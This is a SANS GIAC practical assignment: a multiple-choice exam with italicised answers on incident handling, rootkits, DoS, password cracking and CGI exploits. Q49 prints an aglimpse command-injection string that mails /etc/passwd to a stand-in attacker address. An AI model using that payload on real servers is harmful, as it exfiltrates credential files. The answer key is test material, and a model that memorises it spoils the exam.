# Global Information Assurance Certification Paper

SANS-SNAP; GIAC Advanced Incident Handling and Hacker Exploits

Practical Assignment for SNAP San Jose

Option #3

Thomas P. Callaci

Note: This multiple choice test covers the three books in order. Each section is marked with the name of the book which the questions cover. Each question is marked with the page number from which it is derived.
The correct choice for each question is italicized.

## Book: 4.1 Computer Security Incident Handling

Page 8
Q1: The "Individual Incident Emergency Action Plan," which may be posted above your telephone, specifies two over all goals. "After we detect and triage…" (select the two goals)
a)Handle Individuals & Maintain our enterprise firewall
b)Maintain our enterprise firewall and maintain our intrusion detection systems
c)Find the hacker and attack back
d)*Handle individual incidents and Maintain an overall battle picture*

Page 13
Q2: The best method for incident handling is:
a) Work alone as the primary incident handler at a site; take your own notes
b) Work alone; do not take notes, written or other, to avoid exposure of information
c) *Work with assistance; take copious, detailed notes.*
d) Work with assistance; do not take notes. The second person can later confirm your recount of the incident.

Page 22
Q3: Emergency Action Plans, also possibly posted near your telephone include all of the following EXCEPT:
a) Eradicate the problem and get back in business
b) Back up the systems, Collect evidence
c) *Shred all notes related to the incident*
d) Use out of band communications

Page 25-28
Q4: Enterprise Emergency Action DOES NOT INCLUDE
a) Detect: Maintain situational awareness; Communicate
b) *React: Immediately power down all systems involved*
c) Defend: Manage, tighten perimeter
d) Recover: review fault resistant technology; test recovery plan

Page 32
Q5: The six Primary Phases of Incident Handling, in order, are:
a) *Preparation; Identification; Containment; Eradication; Recovery; Lessons Learned*
b) Detection; Identification; Restore from backup; Retaliation; Recovery; Repeat
c) Defense; Detection; Broadcast Alerts to all users; Identification; Recovery; Repeat
d) Defense; Detection; Broadcast Alerts to all managerial staff only; Identification; Restore from Backup; Repeat

Page 42&43
Q6: An Incident Response Team should NOT include:
a) People from more than one geographic location or more than one department
b) Any non-technical personnel, such as managers, CEOs, CIOs or VPs
c) *Every member of the entire organization with any computer, networking or technical skills*
d) People involved with or skilled in backup & restore procedures

Page 52

Q7: Of the following descriptions of a Jump Bag, which choice is the MOST desirable subset of jump bag contents:
a)Laptop, dual OS; Binary backup media and software; Expert Witness software; CD's with known good binaries; A dual-speed Ethernet switch
b)*Laptop, dual OS; Binary backup media and software; Expert Witness software; CD's with known good binaries; small hub*
c) Laptop, dual OS; Binary backups of you office PC; CD's with known good binaries; a high speed Ethernet switch
d) Laptop, dual OS; Binary backups of you office PC; CD's with known good binaries; an Ethernet switch and a Tokenring switch

Page 89
Q8: Once you restore a system as an incident handler, you should (select the best choice)
a) Contact the owner and suggest that they test the system in the near future
b) Document all improvements that you have made to the system and firmly attach the document to the system
c) Test the system with the same exploit to determine if the process is repeatable
d) *Verify that the system is back to its normal condition; have the owner sign for the machine*

Page 91
Q9: Once the system is back on line, your next incident response step should be:
a) To bill the customer for the hours spent on the system
b) Disable all logging at the firewall to avoid large logs
c) Disable all logging at the firewall and the routers to avoid false positives
d) *Continue to monitor the system for back doors.*

Page 93
Q10: The report of the incident is crucial to incident response. Because of this:
a) The on site handlers should hire technical writers as soon as they are completed with the work and tell them to write up a report in a clear and concise manner, while not disclosing any information about the incident.
b) *The on site handlers should begin writing the report as soon as possible with all members of the on site team participating in the writing.*
c) The on site handlers should write the report as soon as possible and ensure that all non-technical staff will be restricted from access to the final report.
d) The on site handlers should hire technical writers as soon as the they are completed. They should also contact the media to disclose the details of the events.

Page 104
Q11: Malicious Code includes
a) Software with bugs
b) *Worms*
c) Both a&b
d) none of the above

Page 107
Q12: The best description of W97M.Marker.a is:
a) A bug found in Windows 97 that randomly GPF's your system
b) Hidden code found in Word 97 that allows MS Flight Simulator to play
c) *A macro virus that ftp's lists of infected systems*

d) A micro virus that reduces the size of the registry on Win95 systems by 30% through random deletions

Page 107 & 112
Q13: A security measure(s) specifically targeted at controlling entry of viruses into a company through e-mail attachments would be (select the best answer):
a) Install anti-virus software on all workstations
b) Install a firewall and restrict in-bound TCP ports 53 and 79
c) "B" and also restrict in-bound email to a single "POP3" server
d) *"A" and update virus signatures regularly*

Page 111
Q14: Purchasing machines with factory installed software is:
a) a guarantee against introduction of Trojan Horse code
b) a guarantee against malicious code of any type
c) a method to identify all malicious code on your system
d) *not significant security measure, on its own*

Page 113
Q15: Root kits:
a) Are problem exclusively on Windows NT 4.0 server, Service pack2 installations
b) *Used by hackers to modify binaries*
c) A last resort used to gain access to Unix systems when all other possibilities are exhausted
d) Not found in the wild.

Page 113
Q16: Detection of Root Kits includes
a) Monitoring for outbound traffic on certain ports, esp. TCP 666 and 6667
b) Use of a file modification detection package, such as Trip wire or SIGGEN
c) Searching the system for suspicious files and folders, such as /… or /tmp/bob
d) *All of the above*

Page 114
Q17: Detection of malicious code, or compromised systems…
a) Need be host based only. Concentrate on the hosts and the need for monitoring the network disappears
b) efforts should be concentrated on in bound traffic. The firewall will always catch malicious code because of CRC checks.
c) can be greatly aided by monitoring outbound traffic on all standard ports
d) *should include monitoring outbound network traffic on non-standard ports*

Page 117-119
Q18: "Probes" include multiple types of unauthorized access attempts.
a) The statement is false because probes are never successful
b) The statement is false because the packets used follow all rules described in RFC 1700
c) The statement is true, except in the case of the use of ICMP or SNMP packets
d) *The statement is true including the use of ping sweeps or snmp sweeps*

Page 118 & 119
Q19: Network mapping
a) is illegal
b) *can be accomplished with simple tools running under Unix or windows platforms*

c) should be done on one's company's network without the knowledge of management
d) is the worst form of Denial of Service attack.

Page 123-
Q20: Denial of Service attacks
a) can only occur on Linux based web servers
b) can only affect Windows IIS web servers
c) always crash a system so that it is unrecoverable
d) *none of the above*

Page 125
Q21: Under a SMURF type DoS attack, the best initial response is to:
a) *apply filters at the outermost routers*
b) install packet filters on all hosts in your internal network
c) update your Trip wire software on Internet accessible machines
d) find the IP address of the machine sending the packets and return a massive flood of pings, thus disabling the attacker

Page 127
Q22: Likely targets for network attacks are:
a) Workstations running out web browsing software
b) *web, mail and DNS servers*
c) internal hosts with TCP ports 135 and 139 available
d) none of the above

Page 130-132
Q23: Espionage…(best answer)
a) cannot be detected because it must come from someone outside of your organization
b) usually includes a member of your organization
c) can be detected through several means, including: watching for patterns of access violations, watching for employees working odd/off hours
d) *both b & c*

Page 136
Q24: If an outsider is collecting information,
a) *Provide erroneous information, especially if you can benefit from the incident*
b) Legally, you are powerless. Plan to suffer a loss.
c) They must be using a side door; install cameras at all side doors
d) Disable your firewall filter set from time to time and watch for system trouble

Page 142
Q25: There may be a rouge sniffer installed if you notice:
a) Disk flashes to the rhythm of network traffic
b) There are signs that the disks are full, but system utilities do not agree
c) The system's network card has been changed to promiscuous mode
d) *any or all of the above*

Page 145
Q26: The "r-utilities," including sunrpc
a) are best described as "response " utilities
b) should be allowed through the firewall to critical systems to allow rapid response

c) both "a" & "b"
d) *are security risks and should be disabled if at all possible.*

Page 178
Q27: Windows NT logging of logons and logoffs
a) Should be avoided until an incident occurs because it places significant and unnecessary load on the server
b) Should be enabled only when all other logging options are enabled, otherwise the information is worthless
c) *Should be used regardless of other logging*
d) both "a" & "c"

Page 204
Q28: The malicious code, Caligula,
a) Is software for breaking triple-DES encryption using a Pentium based machine
b) *Is a virus that modifies the Windows registry and then looks for the location of your PPG key ring*
c) Is a trojan that decodes your PGP passphrase and e-mails the result to an ftp server
d) Does not exist

Page 205
Q29: To ensure complete erasure of files from disk,
a) Always delete the file and then empty the trash/recycle bin immediately
b) Delete the file and then save some new, very large files, to write over some of the same physical area of the disk
c) Delete the files and then create a new backup of the drive
d) *Use a wipe tool to overwrite the physical area of the disk multiple times*

Page 215-217
Q30: Methods of hiding files include
a) marking a cluster of disk space as "bad" where you wrote your data
b) steganography, under windows using S-tools
c) stenography, under windows using SH-notes
d) "a" & "b"

## Book 4.2 Computer and Network Hacker Exploits: Step-by-Step, Part 1

Page 5
Q31: Typically, reconnaissance tools which may be used by a red-team DO NOT include:
a) Whois, ARIN and RIPE web resources
b) Ping and Traceroute or Tracert
*c) smurf, fraggle*
d) nmap, YAPS!

Page 8
Q32: Pick the statement that does NOT describe an exploit:
a) *exploits are always computer based*
b) gaining access to a server room by picking a lock
c) anything that can be used to compromise a machine
d) an instance of taking advantage of a security hole

Page 9 - 12
Q33: As an area of security, Confidentiality deals with preventing, detecting, or deterring unauthorized
a) modification of system files or data
b) modification of time stamps of system files or data
c) *access to data*
d) denial of access to data

Page 9 -12
Q34: As an area of security, Integrity deals with preventing, detecting, or deterring unauthorized
a) *modification of system files or data*
b) concealment of data
c) access to data
d) denial of access to data

Page 9 - 12
Q35: As an area of security, Availability deals with preventing, detecting, or deterring unauthorized
a) *denial of access to data*
b) modification of time stamps of system files or data
c) access to data
d) modification of system files or data

Page 20
Q36: What CAN NOT be exploited / used to exploit?
a) ports & services
b) passwords
c) backdoors and trojans
d) *none of the above: pretty much Anything and Everything could be a target for exploits*

Page 24
Q37: Typically, the passwords of software, systems and general users
a) are well crafted and difficult to guess
b) changed extremely often
c) *a default, standard or trivial to guess*

d) never words found in "frequently used passwords" lists and certainly not found in a dictionary.

Page 30
Q38: IP spoofing
a) is best described as sending data to a program that it is not expecting
b) is the use John the Ripper to crack IP passwords
c) is a windows based, client server application buffer overflow exploit
d) *requires faking an IP address and guessing packet sequence numbers*

Page 31
Q39: Session Hijacking
a) Is a coordinated denial of service attack using multiple machines across the Internet to flood a single machine or network segment
b) Involves taking over an existing session
c) Involves a denial of service attack
d) *both "b" & "c"*

Page 33
Q40: Buffer Overflow exploits are caused by
a) Poorly configured firewalls
b) *Poor programming and lack of error checking*
c) Mismanaged Cisco router access lists
d) Poorly configured boarder routers

Page 34
Q41: Passwords on Unix boxes
a) cannot be cracked because, by default on all Unix platforms, only root can view the password file
b) are stored in plain text in /sys/adm/passwords
c) are stored in plain text in /etc/passwd
d) *should be stored in a shadowed manner*

Page 36
Q42: Password cracking tools include
a) L0pht crack for NT passwords
b) John the Ripper for Unix passwords
c) Crack for Unix passwords
d) *all of the above*

Page 39
Q43: Three basic methods of encryption are
a) *hash, asymmetric, symmetric*
b) hash, MD5, Triple-DES
c) Symmetric, PGP, Blowfish
d) asymmetric, public-private, PGP

Page 42
Q44: The fastest method used to crack passwords:
a) brute force
b) hybrid
c) *dictionary*

d) Diffie-Hellman

Page 40-43
Q45: To crack passwords you must have:
a) a micro or mainframe computer
b) c-source code for password cracking package and a compiler
c) *any computer, even a simple, Intel-based personal computer; a password cracking package; a password file*
d) "A" & "B"

Page 176
Q46: aglimpse is
a) malicious code: a type of exploit for ftp servers
b) a macro virus
c) *a vulnerable CGI script*
d) a type of web server

Page 179
Q47: select the choice that is NOT a characteristic of a CGI program
a) *It is requested exclusively by an authenticated clients*
b) It is executed by the web server
c) the process has all privileges of the web server that called it
d) It may run as root if the web server is running as root

Page 180
Q48: aglimpse script
a) does not limit what it accepts as arguments
b) will pass unanticipated input through for processing
c) allows commands other than those intended to be executed
d) *all of the above*

Page 181
Q49: The following, `GET /cgi-bin/aglimpse/80 | IFS=5; CMD=5mail5badguy\@hacker.com</etc/passwd;eval$CMD;echo`, is an example of….
a) *a command line use of the aglimpse vulnerability*
b) a way to get a quick glimpse of files on a web server's main page
c) a standard Unix password backup method
d) an ftp vulnerability exploit

Page 185
Q50: To protect against the aglimpse vulnerability, one might…
a) run the web server in protected mode as root
b) *upgrade to the latest version of WebGlimpse*
c) rename all CGI directories to IGC
d) none of the above

Page 197
Q51: ToolTalk vulnerability is an example of a
a) ping flood attack exploit
b) trojan horse
c) *buffer overflow exploit*
d) Nessus tool exploit

Page 207 &208
Q52: You are asked to check a system for vulnerabilities. It has TCP port 143 available. You later learn that it is running WU-IMAPD. These facts indicate
a) That the port 143 vulnerabilities are not an issue since WU-IMAPD is securing this system
b) That data integrity is monitored on this system
c) *That this system is likely vulnerable to a buffer overflow exploit (CVE-1999-0042)*
d) Both "A" and "B"

Page 208 & 209
Q53: IRIX wrap vulnerability
a) *is a cgi vulnerability on Silicon Graphics machines*
b) is a buffer overflow vulnerability for systems running IRIX 6.3 and above
c) is controlled by ensuring that your Silicon graphics machines have Outbox factory installed
d) is a concern on HP machines running IRIX

Page 225-230
Q54: The PHF exploit
a) requires extensive C coding knowledge to create from scratch, but the source code for the exploit is available on many "hacker" web sites
b) *is a cgi exploit that affects some versions of Apache and NCSA web servers*
c) requires netcat to be installed on the victim
d) none of the above

Page 234-236
Q55: Ping-of-Death exploits
a) take advantage of a cgi vulnerability
b) uses the hacker tool "ping," which can be found and downloaded from only on a few "hacker" web sites in Eastern Europe
c) *Causes machines to hang or crash through the use of an ICMP packet which is larger than allowed*
d) is no longer a problem because TCP/IP specifications do not allow packets greater than 65536 octets

Page 238-240
Q56: Ping-of-Death
a) *can be blocked at routers*
b) can be successful only against open-source Unix operating systems
c) cause a network DoS because the exploit will often overwhelm routers with more packets than it can handle
d) can be executed only by root and only on Linux systems

Page 246
Q57: The main symptoms of an SSPing attack are:
a) ICMP traffic and UPD broadcast traffic on a network at the same time
b) UPD broadcast storm and high numbers of CRC errors on a network
c) Tremendous numbers of ICMP packets which are all extremely small in size
d) *ICMP traffic made up of large, highly fragmented packets*

Page 253
Q58: A Land attack is a
a) Traffic flood type attack
b) *A DoS attack sending TCP SYN packets with source and destination IPs the same*

c) A DoS attack sending a variety of TCP ports in one packet
d) A smurf attack

Page 256
Q59: Protection against a Land attack would include
a) vendor patches and smurf filters at routers/firewalls
b) updated TripWire software and smurf filters at the host level
c) *vendor patches and router/firewall incoming filters for packets watching source addresses which are internal to your lan*
d) e-mail filtering

Page 262
Q60: The two victims of a Smurf attack
a) *every machine on the ip segment (broadcast domain) and the machine who's IP was used in the spoofing*
b) The broadcast machine on a VLAN and the attacker's machine
c) The broadcast machine on a VLAN and the Switch
d) every machine in a broadcast domain and the machine to which the initial ping packet was addressed (machine specified by the destination address in the attack's first packet.)

## Book 4.3 Computer and Network Hacker Exploits: Step-by-Step, Part II

Page 15
Q61: Reconnaissance
a) Defines a time period in history covering roughly the 14th ~17th centuries
b) Includes the activities to gather as much information as possible about you, your systems and networks
c) Includes the use of ARIN, RIPE , nslookup and whois
d) *both b & c*

Page 21
Q62: In War Dialing nudging
a) refers to trying to connect to a modem with various, increasing baud rates
b) refers to use of varied parity and stop-bit settings at one baud rate to connect to a modem
c) *refers to sending a pre-defined string of characters to a modem*
d) is best accomplished by to connect to a modem with various, increasing baud rates and testing various parity settings at each connection rate

Page 25
Q63: Port scanners
a) are used to conduct a thorough vulnerability scan, employing databases of know exploits and tested each against a system
b) *such as YAPS! or Nmap can be used to determine available TCP and /or UDP ports*
c) only work with complete TCP 3-way handshakes (SYN, SYN/ACK, ACK)
d) cannot be used for ping sweeps

Page 32-35
Q64: Firewalking differs from port scanning in that
a) *port scanning determines which ports a machine is listening on; firewalking determines which ports are open (allow traffic through) a filtering device (router or firewall)*
b) Port scanning is used to determine the os of a server; Firewalking is used to determine the OS of a firewall
c) port scanning requires two IP addresses (the machine to scan and the broadcast address); firewalking only requires the IP of the machine to scan
d) port scanning relies on TTL (Time to live); firewalking does not use TTL

Page 38
Q65: Vulnerability scanners
a) Include commercial tools from NAI, ISS and Cisco as well as free tools such as Nessus
b) Check for known vulnerabilities, based on their database of known vulnerabilities
c) Can, if configured to do so, test DoS vulnerabilities- BUT the test will actually cause the DoS symptoms
d) *all of the above*

Page 42-43
Q66: Nessus
a) is a vulnerability scanner that runs in a client-server fashion
b) has multiple plug-ins to enhance functionality
c) must be run with the server code on one machine and the client code on another
d) *both a & b*

Page 56

Q67:IP address spoofing can be accomplished through various scenarios, one possibility takes advantage of
a) *use of source-routed packets*
b) NT Domain Trust relationships
c) NDS inherited rights filters
d) making a Unix host act like a router by installing a second NIC

Page 60 & 61
Q68: the IP Fragmentation attack variation "Tiny Fragments"
a) breaks up the data originally in one packet across many packets
b) adds many very small TCP headers to a single packet
c) circumvents a firewall by never using a packet larger than 1024 bytes
d) *fools a packet filter by creating an initial fragment so small that the TCP header is split between two fragments*

Page 64
Q69: Defense against IP fragmentation attacks can include
a) use of an application proxy firewall
b) Reassemble packets before making a filtering decision
c) Reassemble packets before making an IDS decision
d) *all of the above*

Page 73
Q70: Session Hijacking
a) Can be prevented through the use of a token-based authentication system, such as SecureID
b) Is always the result of a misconfigured firewall
c) *Could be thwarted through the use of encrypted sessions*
d) Only occurs with VPNs are used

Page 88
Q71: Possible defenses against DNS cache poisoning
a) Digitally signed DNS records
b) Use of "Split-Split" DNS
c) Upgrade BIND
d) *all of the above*

Page 91
Q72: Netcat
a) could be described as redirection of stdin / stdout through the network
b) is "the Swiss Army knife" of tools
c) *both a&b*
d) neither a nor b

Page 94 & 95
Q73: Netcat can be used as a port scanner or "miscellaneous" scanner
a) *with some shell scripts already available*
b) this statement is not true
c) only if SATAN is installed on the target system
d) but can only accomplish linear (non-random) scans of ranges

Page 102
Q74: Denial of Service attacks

a) are a small nuisance that usually go away on their own
b) can be completely defended against using simple, commercial software
c) Are Annoying, but very relevant.
d) *"C" and can be defended against to some extent, but not eliminated*

Page 103
Q75: Which is NOT an example of a DoS?
a) Land Attack
b) Smurf attack
c) WinNuke exploit
d) *aglimpse exploit*

Page 118
Q76: Cracking web-based applications
a) Has been made very difficult by the expanded use of HTTP, which uses stateful connections
b) HTTP specifies stateful inspection of packets is
c) *relies on exploitation of weaknesses in the way a user's session is tracked by the server*
d) Requires the use of a stateful inspection firewall

Page 119
Q77: Methods or devices used to track a user's session (session ID's exchanged with the browser) include all EXCEPT
a) *Site redirection links*
b) URL Session Tracking
c) Hidden Form Elements
d) Cookies

Page 121
Q78: In an attempt to effectively become another user, cookies can be edited by
a) saving the source of a web page locally; modifying the page; loading the page with your browser
b) modification of information in the URL line of the browser
c) *opening the cookies.txt or cookies file with a text editor*
d) using the "Cookie Monster" hacker editing tool

Page 129
Q79: Which is NOT true about Back Orifice 2000 Server
a) It has a small foot print (~100k)
b) *It can always be detected by viewing the task list*
c) allows for remote control of the machine that it is running on
d) can be run on any TCP or UDP port

Page 138
Q80: Possible defenses against BO2k
a) Never accept unsigned ActiveX controls
b) use netstat -na
c) use up to date anti-virus tools
d) *all of these*

Page
Q81: Rootkits are used to
a) Scan a system for vulnerabilities and test against a known database. They must be run as root

b) Mask the fact that the system is compromised
c) Replace critical system programs with modified alternatives
d) *b&c*

Page 144
Q82: Rootkit backdoor login module /bin/login is "patched" so
a) The intruder is allowed root access with a back-door password
b) The user will not show up in a "who" command
c) If the "real" sysadmin changes the root password, the backdoor root password remains the same
d) *all of the above*

Page 151
Q83: Knark is a new breed of Rootkit. Notably, it
a) can compromise a root account in under 1 hour
b) *operates at the kernel level*
c) both a & b
d) is quickly detected by Tripwire

Page 169
Q84: Covering tracks in Unix
a) *would include editing log files in /var/log with a simple editor*
b) would require editing /var/run/tmp, /var/log/wtmp and /usr/adm/lastlog with vi
c) cannot be aided by specialized editing tools such as remove.c
d) always requires a Rootkit

Page 175
Q85: Loki
a) requires telnet
b) *allows attacker to tunnel shell sessions over innocuous-looking protocols*
c) uses a sophisticated GUI
d) can run on various TCP ports but not ICMP nor UDP

Page 106
Q86: TFN2k
a) *is an example of a distributed denial of service attack*
b) allows an attacker to gain root on vulnerable Unix platforms
c) is a trojan horse allowing remote control of a user's workstation
d) uses a single machine to attack another machine or network.

Page 111
Q87: TFN Client-to-Server communication
a) is carried by TCP on port 443
b) is always bi-directional (Two-way)
c) *can be encrypted between client and server*
d) cannot use spoofed communications

Page 115
Q88: Defenses for dDoS
a) Install host based intrusion detection
b) Use network based intrusion detection and watch for ICMP_ECHOREPLY without ICMP_ECHO

c)Keep systems patched
d) *all of the above*

Page 143
Q89: Rootkits
a) are limited to Linux systems
b) *are mainly concentrated on SunOS4.x and Linux but portions have been ported to Solaris, HP-UX and AIX*
c) will never be available for NT
d) cannot hide themselves from "ps"

Page 161-165
Q90: Back-Door ports for various exploits, by default
a) always run on TCP ports below 1024
b) *often run on odd ports, but can run on standard ports*
c) are few in number
d) can only be detected with a commercial vulnerability scanner

*FINI*

Last Updated: July 26th, 2017

# Upcoming Training


| | | | |
|---|---|---|---|
| Security Awareness Summit & Training 2017 | Nashville, TN | Jul 31, 2017 - Aug 09, 2017 | Live Event |
| SANS San Antonio 2017 | San Antonio, TX | Aug 06, 2017 - Aug 11, 2017 | Live Event |
| SANS Boston 2017 | Boston, MA | Aug 07, 2017 - Aug 12, 2017 | Live Event |
| SANS Salt Lake City 2017 | Salt Lake City, UT | Aug 14, 2017 - Aug 19, 2017 | Live Event |
| SANS New York City 2017 | New York City, NY | Aug 14, 2017 - Aug 19, 2017 | Live Event |
| SANS Adelaide 2017 | Adelaide, Australia | Aug 21, 2017 - Aug 26, 2017 | Live Event |
| SANS Virginia Beach 2017 | Virginia Beach, VA | Aug 21, 2017 - Sep 01, 2017 | Live Event |
| SANS Chicago 2017 | Chicago, IL | Aug 21, 2017 - Aug 26, 2017 | Live Event |
| Community SANS Memphis SEC504 | Memphis, TN | Aug 21, 2017 - Aug 26, 2017 | Community SANS |
| Mentor Session AW - SEC504 | Milwaukee, WI | Aug 23, 2017 - Sep 29, 2017 | Mentor |
| Mentor Session AW - SEC504 | New York, NY | Aug 24, 2017 - Sep 08, 2017 | Mentor |
| Mentor Session - SEC504 | Denver, CO | Aug 29, 2017 - Oct 10, 2017 | Mentor |
| SANS Tampa - Clearwater 2017 | Clearwater, FL | Sep 05, 2017 - Sep 10, 2017 | Live Event |
| SANS San Francisco Fall 2017 | San Francisco, CA | Sep 05, 2017 - Sep 10, 2017 | Live Event |
| SANS vLive - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling | SEC504 - 201709, | Sep 05, 2017 - Oct 12, 2017 | vLive |
| SANS Network Security 2017 | Las Vegas, NV | Sep 10, 2017 - Sep 17, 2017 | Live Event |
| Mentor AW - SEC504 | Santa Clara, CA | Sep 11, 2017 - Sep 22, 2017 | Mentor |
| SANS Dublin 2017 | Dublin, Ireland | Sep 11, 2017 - Sep 16, 2017 | Live Event |
| Mentor Session - SEC504 | Arlington, VA | Sep 20, 2017 - Nov 01, 2017 | Mentor |
| SANS London September 2017 | London, United Kingdom | Sep 25, 2017 - Sep 30, 2017 | Live Event |
| Rocky Mountain Fall 2017 | Denver, CO | Sep 25, 2017 - Sep 30, 2017 | Live Event |
| SANS SEC504 at Cyber Security Week 2017 | The Hague, Netherlands | Sep 25, 2017 - Sep 30, 2017 | Live Event |
| Community SANS Columbia SEC504 | Columbia, MD | Sep 25, 2017 - Sep 30, 2017 | Community SANS |
| SANS Baltimore Fall 2017 | Baltimore, MD | Sep 25, 2017 - Sep 30, 2017 | Live Event |
| Mentor Session - SEC504 | Boston, MA | Sep 26, 2017 - Nov 07, 2017 | Mentor |
| Mentor Session AW - SEC504 | Houston, TX | Oct 02, 2017 - Dec 11, 2017 | Mentor |
| SANS DFIR Prague 2017 | Prague, Czech Republic | Oct 02, 2017 - Oct 08, 2017 | Live Event |
| Mentor Session - SEC504 | Columbia, SC | Oct 03, 2017 - Nov 14, 2017 | Mentor |
| Community SANS Chicago SEC504 | Chicago, IL | Oct 09, 2017 - Oct 14, 2017 | Community SANS |
| SANS Phoenix-Mesa 2017 | Mesa, AZ | Oct 09, 2017 - Oct 14, 2017 | Live Event |
| SANS October Singapore 2017 | Singapore, Singapore | Oct 09, 2017 - Oct 28, 2017 | Live Event |